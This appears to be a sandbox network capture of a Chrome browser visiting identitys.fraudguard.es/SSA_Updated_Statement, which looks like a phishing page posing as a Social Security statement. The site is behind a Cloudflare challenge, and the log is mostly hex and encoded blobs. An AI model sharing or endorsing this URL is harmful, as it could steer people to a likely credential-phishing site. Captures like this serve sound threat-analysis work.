2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 32 64 33 68 35 65 6e 74 38 66 58 35 2f 31 73 4c 55 67 38 6e 58 32 4e 62 61 73 74 6a 52 32 37 7a 51 32 64 58 55 35 70 4f 78 6c 65 33 67 35 74 33 70 38 71 72 51 38 50 4c 71 74 61 72 6f 2b 75 72 30 2b 37 62 37 37 2b 77 41 2f 50 79 34 79 35 75 79 73 37 53 31 74 72 65 34 75 62 71 37 76 4c 32 2b 76 38 44 42 77 73 50 45 78 52 34 52 46 77 34 61 49 39 72 39 4a 41 55 6b 35 74 6f 5a 4a 79 67 6d 4b 67 49 6f 49 53 73 4d 49 43 6b 6c 4a 44 62 75 34 79 67 75 4b 6a 78 42 39 65 72 79 51 6b 44 37 4f 44 4a 41 4e 30 41 36 53 50 30 42 46 4f 50 36 2b 2f 7a 39 2f 67 41 42 41 67 4d 45 42 51 59 48 43 41 6b 4b 61 42 67 4e 48 78 38 5a 4c 50 73 54 46 42 55 57 46 78 67 5a 47 68 73 63 48 52 35 6f 5a 69 6c 35 62 48 4a 70 64 58 34 32 67 6d 35 69 66 30 4d 38 57 33 39 6a 68 47 64 45 50 54 Data Ascii: 2d3h5ent8fX5/1sLUg8nX2NbastjR27zQ2dXU5pOxle3g5t3p8qrQ8PLqtaro+ur0+7b77+wA/Py4y5uys7S1tre4ubq7vL2+v8DBwsPExR4RFw4aI9r9JAUk5toZJygmKgIoISsMICklJDbu4yguKjxB9eryQkD7ODJAN0A6SP0BFOP6+/z9/gABAgMEBQYHCAkKaBgNHx8ZLPsTFBUWFxgZGhscHR5oZil5bHJpdX42gm5if0M8W39jhGdEPT
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 66 58 37 49 78 6f 6e 5a 7a 4e 4c 4a 31 64 36 57 34 73 37 43 33 36 4f 63 75 39 2f 44 35 4d 65 6b 6e 5a 33 6d 36 4f 6e 70 37 66 44 79 37 4f 6a 7a 39 65 76 6d 73 65 6a 31 39 66 7a 79 2b 41 48 74 41 76 66 2b 2f 72 69 37 76 4c 51 52 6f 4c 65 34 75 62 71 37 76 4c 32 2b 76 38 44 42 77 73 50 45 78 63 59 66 45 68 67 50 47 79 54 62 49 68 55 6c 42 68 77 68 47 69 55 73 4c 4f 41 67 4d 43 6f 67 4d 69 67 76 4c 2b 6e 72 34 30 44 50 35 75 66 6f 36 65 72 72 37 4f 33 75 37 2f 44 78 38 76 50 30 39 66 62 33 2b 50 6c 53 52 55 74 43 54 6c 63 50 51 79 30 38 4e 68 59 50 45 53 54 7a 43 77 77 4e 44 67 38 51 45 52 49 54 46 42 55 57 46 78 67 5a 47 6e 67 6f 48 53 38 76 4d 44 45 72 50 67 34 6c 4a 69 63 6f 4b 53 6f 72 4c 43 30 75 4c 7a 43 4f 64 33 2b 48 65 70 45 68 4f 44 6b 36 4f 7a 77 Data Ascii: fX7IxonZzNLJ1d6W4s7C36Ocu9/D5MeknZ3m6Onp7fDy7Ojz9evmsej19fzy+AHtAvf+/ri7vLQRoLe4ubq7vL2+v8DBwsPExcYfEhgPGyTbIhUlBhwhGiUsLOAgMCogMigvL+nr40DP5ufo6err7O3u7/Dx8vP09fb3+PlSRUtCTlcPQy08NhYPESTzCwwNDg8QERITFBUWFxgZGngoHS8vMDErPg4lJicoKSorLC0uLzCOd3+HepEhODk6Ozw
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 74 50 4b 32 59 66 58 31 35 47 55 64 6f 32 4f 6a 35 43 52 6b 70 4f 55 6c 5a 61 58 6d 4f 7a 78 35 50 44 67 35 71 66 66 33 4f 48 65 74 65 4c 6a 73 4b 67 46 6c 4b 75 73 72 61 36 76 73 4c 47 79 73 37 53 31 74 72 65 34 75 62 72 2b 2f 52 45 45 78 67 77 52 37 66 51 4f 47 64 76 4f 34 72 50 4b 79 38 7a 4e 44 68 4d 58 45 52 59 63 49 52 55 61 4c 44 48 6e 4c 41 55 76 4a 77 72 79 36 2b 7a 39 34 38 37 6c 35 75 66 6f 4b 53 34 79 4c 44 45 33 50 44 41 31 52 30 77 77 4e 54 6f 2b 4f 44 31 44 53 44 78 42 55 31 67 50 55 79 78 57 54 6a 45 61 52 51 6b 6e 43 32 66 32 44 67 38 51 45 52 49 54 46 42 55 2b 61 31 74 4e 50 43 73 32 48 53 56 32 4e 7a 5a 44 54 54 56 4c 66 48 35 33 57 6c 42 58 67 30 70 4c 4e 6a 77 62 4d 6a 4d 30 4e 54 59 33 4f 44 6d 51 59 32 42 6a 54 6c 6c 41 51 35 75 49 Data Ascii: tPK2YfX15GUdo2Oj5CRkpOUlZaXmOzx5PDg5qff3OHeteLjsKgFlKusra6vsLGys7S1tre4ubr+/REExgwR7fQOGdvO4rPKy8zNDhMXERYcIRUaLDHnLAUvJwry6+z9487l5ufoKS4yLDE3PDA1R0wwNTo+OD1DSDxBU1gPUyxWTjEaRQknC2f2Dg8QERITFBU+a1tNPCs2HSV2NzZDTTVLfH53WlBXg0pLNjwbMjM0NTY3ODmQY2BjTllAQ5uI
2024-11-22 21:59:44 UTC	1369	IN	Data Raw: 48 49 6a 4b 71 4f 6f 71 74 37 6b 70 4f 55 6c 5a 61 58 6d 4a 6d 61 6d 35 79 64 2b 34 6d 67 6f 61 4b 6a 70 4b 57 6d 70 36 69 70 71 71 73 44 37 67 47 76 41 50 33 32 33 41 4d 4a 43 77 6f 4f 2f 41 38 46 44 41 7a 75 44 77 6f 51 46 77 6b 58 78 65 50 48 43 41 55 4b 42 39 30 4c 44 4f 71 36 30 64 4c 54 31 4e 58 57 31 39 6a 5a 32 74 76 63 48 52 6f 66 48 50 49 67 49 65 51 44 35 75 34 30 44 51 34 53 48 42 41 6a 4a 50 63 4e 33 4e 33 30 39 66 62 33 2b 50 6e 36 2b 2f 7a 39 2f 67 42 4b 53 41 4d 4d 56 46 4a 4c 4d 56 64 64 58 31 35 69 55 57 4e 5a 59 47 42 44 59 31 35 6b 61 31 31 72 47 6a 67 35 4f 68 34 6d 57 45 56 54 5a 58 6f 37 4c 54 41 6f 68 42 51 72 4c 43 30 75 4c 7a 41 78 4d 6a 4d 30 4e 54 59 33 4f 44 6b 36 65 6e 64 38 65 55 39 39 66 6b 70 4d 58 79 39 47 52 30 68 4a 53 Data Ascii: HIjKqOoqt7kpOUlZaXmJmam5yd+4mgoaKjpKWmp6ipqqsD7gGvAP323AMJCwoO/A8FDAzuDwoQFwkXxePHCAUKB90LDOq60dLT1NXW19jZ2tvcHRofHPIgIeQD5u40DQ4SHBAjJPcN3N309fb3+Pn6+/z9/gBKSAMMVFJLMVddX15iUWNZYGBDY15ka11rGjg5Oh4mWEVTZXo7LTAohBQrLC0uLzAxMjM0NTY3ODk6end8eU99fkpMXy9GR0hJS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49733	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:45 UTC	895	OUT	GET /favicon.ico HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://identitys.fraudguard.es/SSA_Updated_Statement Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:45 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Fri, 22 Nov 2024 21:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-22 21:59:45 UTC	934	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 42 63 4e 33 32 59 47 47 41 6c 6c 64 38 4b 64 35 4b 48 4a 6e 4b 30 75 48 48 4d 5a 52 5a 33 6d 4f 61 4a 70 46 69 2b 69 69 6c 44 77 71 47 7a 44 57 41 4d 64 70 30 44 78 4f 6d 44 76 58 59 6a 77 72 42 79 35 6c 75 33 65 76 73 61 4c 37 31 4c 33 38 43 2f 2f 43 4b 5a 48 43 65 42 77 4a 2f 35 67 6f 6f 79 58 6a 73 77 41 47 74 4f 2f 48 67 4f 2f 41 64 41 50 66 75 69 66 4f 59 78 69 69 66 44 49 5a 74 77 57 59 77 62 71 55 69 4c 6c 6c 38 76 55 30 36 6c 61 71 38 51 3d 3d 24 43 68 4c 6a 4c 77 39 52 45 68 70 59 65 6a 76 43 46 66 72 68 61 67 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: BcN32YGGAlld8Kd5KHJnK0uHHMZRZ3mOaJpFi+iilDwqGzDWAMdp0DxOmDvXYjwrBy5lu3evsaL71L38C//CKZHCeBwJ/5gooyXjswAGtO/HgO/AdAPfuifOYxiifDIZtwWYwbqUiLll8vU06laq8Q==$ChLjLw9REhpYejvCFfrhag==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 32 34 34 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 244c<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 39 54 35 54 4c 31 67 49 4c 7a 4c 52 59 56 6a 68 77 66 7a 78 78 30 73 4b 54 7a 36 68 6a 57 49 48 31 74 6d 79 71 64 50 67 58 44 4e 48 70 4e 33 6e 31 5a 73 5f 32 50 63 53 6f 6f 5a 38 37 68 56 51 75 57 59 67 6a 41 68 48 49 4e 72 73 4a 41 74 30 35 58 33 58 74 59 30 6d 5f 6b 44 46 7a 63 37 52 38 65 68 68 49 4f 6e 79 32 45 41 5f 7a 31 34 78 66 68 36 57 54 6f 34 77 61 52 4c 42 59 5a 79 62 62 46 6f 59 58 6c 72 37 36 57 48 4b 53 4e 31 62 67 4b 41 4f 75 39 41 46 61 74 4a 50 41 66 49 6f 46 58 5f 6b 58 73 4c 38 7a 56 41 45 4d 50 5a 6c 4a 71 4b 75 64 4f 69 4e 4d 6e 54 76 54 73 46 58 49 74 57 4e 54 46 62 32 2e 58 57 52 6c 71 61 54 67 75 53 75 63 66 78 35 77 52 73 44 65 4c 58 67 59 45 75 7a 72 50 70 4c 78 6b 7a 68 73 39 74 6b 46 33 2e 31 34 42 4f 4d 62 39 4e 44 58 46 4e Data Ascii: 9T5TL1gILzLRYVjhwfzxx0sKTz6hjWIH1tmyqdPgXDNHpN3n1Zs_2PcSooZ87hVQuWYgjAhHINrsJAt05X3XtY0m_kDFzc7R8ehhIOny2EA_z14xfh6WTo4waRLBYZybbFoYXlr76WHKSN1bgKAOu9AFatJPAfIoFX_kXsL8zVAEMPZlJqKudOiNMnTvTsFXItWNTFb2.XWRlqaTguSucfx5wRsDeLXgYEuzrPpLxkzhs9tkF3.14BOMb9NDXFN
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 36 4d 51 43 53 71 37 49 55 63 55 79 45 39 5f 68 70 67 4d 44 71 52 72 62 4f 5f 63 44 68 6f 41 68 52 72 62 58 57 39 52 61 6f 35 32 36 6b 52 67 48 2e 31 45 4b 52 58 54 4a 71 2e 6e 5a 30 74 71 65 30 73 34 47 64 54 77 48 42 6b 46 48 71 53 63 5a 74 75 70 6c 5f 59 36 4a 6d 4c 73 66 31 4f 59 30 53 4d 61 73 6c 69 48 43 30 78 56 4f 76 62 36 50 55 63 42 5f 39 37 49 79 4d 37 37 63 66 39 78 4c 55 44 41 66 48 6b 43 56 4c 6c 5f 5f 51 54 7a 68 78 57 38 33 36 54 6d 44 4d 68 46 74 4e 78 49 64 72 69 6b 35 41 77 42 57 7a 49 38 4a 54 45 71 6e 6c 54 6a 61 35 31 6c 6b 7a 47 48 70 39 64 4e 58 4f 38 4b 2e 7a 69 4b 4a 78 77 78 6f 50 69 58 69 76 70 33 59 63 7a 38 6a 4b 31 61 36 64 66 32 4f 4c 46 70 42 44 76 68 76 69 61 42 78 32 46 59 38 78 79 63 59 67 7a 6e 57 4f 59 6f 34 49 70 38 Data Ascii: 6MQCSq7IUcUyE9_hpgMDqRrbO_cDhoAhRrbXW9Rao526kRgH.1EKRXTJq.nZ0tqe0s4GdTwHBkFHqScZtupl_Y6JmLsf1OY0SMasliHC0xVOvb6PUcB_97IyM77cf9xLUDAfHkCVLl__QTzhxW836TmDMhFtNxIdrik5AwBWzI8JTEqnlTja51lkzGHp9dNXO8K.ziKJxwxoPiXivp3Ycz8jK1a6df2OLFpBDvhviaBx2FY8xycYgznWOYo4Ip8
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 55 55 5a 62 42 54 6c 31 32 62 67 53 37 38 58 58 50 50 6c 66 49 65 7a 74 54 43 4a 73 6e 4c 41 70 46 31 61 56 54 66 75 6c 6c 4a 49 77 42 43 31 34 70 51 36 5f 33 42 43 43 2e 32 77 59 6a 39 74 4a 58 57 72 35 5a 50 39 4f 6b 47 54 4f 66 6e 4b 38 46 51 69 34 56 69 5f 4f 50 62 59 68 49 48 39 54 76 35 66 59 4d 32 31 77 64 76 64 48 66 46 75 75 33 68 77 55 4d 7a 66 6f 65 4d 61 67 69 4c 34 6f 71 31 6c 77 48 75 2e 44 4e 4c 39 35 46 78 5a 6b 74 6c 30 39 66 41 59 59 73 37 69 68 50 50 54 6b 63 61 59 5f 5f 49 58 5f 36 74 6d 45 50 4d 66 46 46 41 49 5a 41 59 74 5a 39 53 4c 6d 41 70 6d 51 79 2e 59 73 70 6b 59 7a 76 58 63 51 71 4f 4e 33 42 57 69 79 79 72 69 50 64 6a 6f 77 6a 46 73 69 46 6c 5f 32 39 4a 4c 42 42 70 56 4b 54 48 47 61 44 51 51 56 61 63 4a 61 56 54 32 74 4f 6c 6d Data Ascii: UUZbBTl12bgS78XXPPlfIeztTCJsnLApF1aVTfullJIwBC14pQ6_3BCC.2wYj9tJXWr5ZP9OkGTOfnK8FQi4Vi_OPbYhIH9Tv5fYM21wdvdHfFuu3hwUMzfoeMagiL4oq1lwHu.DNL95FxZktl09fAYYs7ihPPTkcaY__IX_6tmEPMfFFAIZAYtZ9SLmApmQy.YspkYzvXcQqON3BWiyyriPdjowjFsiFl_29JLBBpVKTHGaDQQVacJaVT2tOlm
2024-11-22 21:59:45 UTC	1369	IN	Data Raw: 4c 59 70 34 66 69 72 56 54 70 53 52 32 2e 31 4b 6c 59 4a 65 62 32 79 5a 42 72 35 67 77 30 61 56 75 41 62 38 36 5a 35 47 6b 64 72 51 39 6f 71 34 72 69 57 36 37 43 79 56 49 49 44 6f 4c 6d 4a 41 49 67 71 63 37 43 63 43 75 35 41 42 7a 35 65 6c 30 52 64 5f 78 35 51 64 7a 39 74 66 70 69 4c 71 64 54 68 75 4f 52 76 4a 66 7a 51 7a 77 77 69 6d 66 51 45 73 4f 43 6e 67 4e 49 43 36 62 4b 6f 4c 69 54 56 44 4f 74 57 66 4f 4d 33 35 55 59 73 6b 64 54 42 61 71 78 6e 36 54 54 4e 41 44 71 43 59 65 78 49 31 46 63 31 59 50 31 6a 6f 65 76 68 6f 53 57 70 31 44 71 2e 30 57 46 73 64 34 6d 55 53 65 73 66 45 4d 55 73 70 35 73 36 46 4b 43 6d 63 38 68 7a 50 34 4f 61 34 4c 37 49 32 52 59 52 6b 74 64 52 66 79 35 65 42 51 54 63 55 32 46 31 4f 4e 55 43 79 79 31 36 53 57 52 44 34 34 5a 69 Data Ascii: LYp4firVTpSR2.1KlYJeb2yZBr5gw0aVuAb86Z5GkdrQ9oq4riW67CyVIIDoLmJAIgqc7CcCu5ABz5el0Rd_x5Qdz9tfpiLqdThuORvJfzQzwwimfQEsOCngNIC6bKoLiTVDOtWfOM35UYskdTBaqxn6TTNADqCYexI1Fc1YP1joevhoSWp1Dq.0WFsd4mUSesfEMUsp5s6FKCmc8hzP4Oa4L7I2RYRktdRfy5eBQTcU2F1ONUCyy16SWRD44Zi
2024-11-22 21:59:45 UTC	1086	IN	Data Raw: 63 53 69 36 34 56 72 62 63 6e 50 76 56 4a 77 67 4f 66 32 54 5f 6a 6f 6d 6a 72 37 57 66 37 59 54 7a 44 4b 6a 5a 75 48 53 72 36 57 57 74 44 44 61 38 4a 6a 2e 50 2e 72 7a 75 6f 37 49 43 4c 70 44 6e 56 48 65 51 75 64 45 55 63 47 41 6c 36 4e 4b 4f 31 32 5f 6a 2e 38 55 66 44 6e 54 62 47 48 68 75 47 2e 33 31 6d 77 54 74 76 79 41 62 41 69 31 6e 53 50 31 47 46 72 78 34 51 7a 54 32 75 45 64 4f 6e 71 64 57 46 73 44 34 41 71 37 79 7a 4b 58 75 4d 4d 7a 70 71 54 50 71 32 7a 33 43 72 78 56 73 41 22 7d 3b 76 61 72 20 63 70 6f 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 63 70 6f 2e 73 72 63 20 3d 20 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 67 2f 6f 72 63 68 Data Ascii: cSi64VrbcnPvVJwgOf2T_jomjr7Wf7YTzDKjZuHSr6WWtDDa8Jj.P.rzuo7ICLpDnVHeQudEUcGAl6NKO12_j.8UfDnTbGHhuG.31mwTtvyAbAi1nSP1GFrx4QzT2uEdOnqdWFsD4Aq7yzKXuMMzpqTPq2z3CrxVsA"};var cpo = document.createElement('script');cpo.src = '/cdn-cgi/challenge-platform/h/g/orch
2024-11-22 21:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49735	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:46 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1273262173:1732310859:Nkfrpjf3B7Qam5FcOxwkEqtk2tn0lLKPVBY9riekCYU/8e6c301cb8601885/3ra4F8H660SaFV65BYrAVfweCTocJBBZ9deH6oRnN3o-1732312780-1.1.1.1-frn48HaLMsj9FtyYIdEPJ7oZzxye6DHI4z1VlNHFZEJKJOvUkdlyiEoiygAsC4OI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:46 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 21:59:46 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 3FUMbp8zSr1bQ5R2ryfk9AcqiSkSH4uzesA=$lNiKby6n+UvsAyL5 Server: cloudflare CF-RAY: 8e6c3044d8b94375-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:46 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49736	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:46 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:47 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:47 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e6c3046c8180f63-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:47 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5f 00 00 00 02 08 02 00 00 00 b1 3e 97 8b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR_>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49738	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:48 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8e6c301cb8601885/1732312784549/6ubB1azQhHpJs3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:49 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:48 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8e6c30524bbe4244-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5f 00 00 00 02 08 02 00 00 00 b1 3e 97 8b 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR_>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49737	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:48 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8e6c301cb8601885/1732312784550/285a7e71a6f8bfd9c8e73004e15c93ae5513900853cda5f6a8bb8b6d62cfef2e/1N5AD1vB1wqnROd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:49 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 22 Nov 2024 21:59:48 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
